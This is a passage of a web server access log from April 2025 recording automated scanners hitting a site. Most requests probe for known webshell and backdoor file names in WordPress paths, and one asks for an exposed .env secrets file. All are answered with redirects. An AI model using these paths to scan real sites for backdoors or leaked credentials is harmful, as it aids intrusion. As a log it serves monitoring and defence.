Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:19 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:26 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:31 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:36 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:42 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:47 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:51 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:18:56 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:01 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:07 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:13 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:18 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:25 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:29 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:32 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:41 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:49 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:19:55 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:01 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:09 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:15 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:21 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:27 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:32 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:37 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:42 -0400] "GET /wp-includes/content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:49 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:20:55 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:00 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:06 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:13 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:20 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:24 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:30 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:36 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:41 -0400] "GET /wp-includes/js/thickbox/thickbox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:46 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:52 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:21:59 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:06 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:12 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:16 -0400] "GET /.well-knownold/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:24 -0400] "GET /wp-includes/js/crop/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:32 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:38 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:45 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:50 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:22:53 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:23:01 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [07/Apr/2025:21:23:10 -0400] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:09 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:14 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:14 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:15 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:16 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:17 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:18 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:19 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:21 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:21:27:22 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [07/Apr/2025:21:55:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 193.23.3.90 - - [07/Apr/2025:23:06:10 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 193.23.3.90 - - [07/Apr/2025:23:06:15 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 52.167.142.89 - - [07/Apr/2025:23:20:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [07/Apr/2025:23:36:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 92.255.57.39 - - [08/Apr/2025:00:21:54 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 216.244.66.236 - - [08/Apr/2025:01:14:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 205.169.39.23 - - [08/Apr/2025:01:29:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 172.234.248.66 - - [08/Apr/2025:01:46:13 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 43.157.158.178 - - [08/Apr/2025:01:55:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.251.116.32 - - [08/Apr/2025:02:05:02 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:08 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:10 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:12 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:13 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:15 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:16 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:17 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:19 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:20 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:21 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:22 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:23 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:24 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:24 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:25 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:26 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.251.116.32 - - [08/Apr/2025:02:05:28 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:20 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:20 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:25 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:27 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:28 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:29 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:29 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:31 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:32 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:34 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:35 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:38 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:40 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:45 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:46 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:49 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:51 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:52 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:55 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:56 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:57 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:58 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:59 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:15:59 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:00 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:01 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:02 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:03 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:05 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:07 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:08 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:11 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:13 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:16 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:19 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:22 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:24 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:28 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:32 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:34 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:35 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:36 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:37 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:37 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:38 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:40 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:41 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:45 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:48 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:52 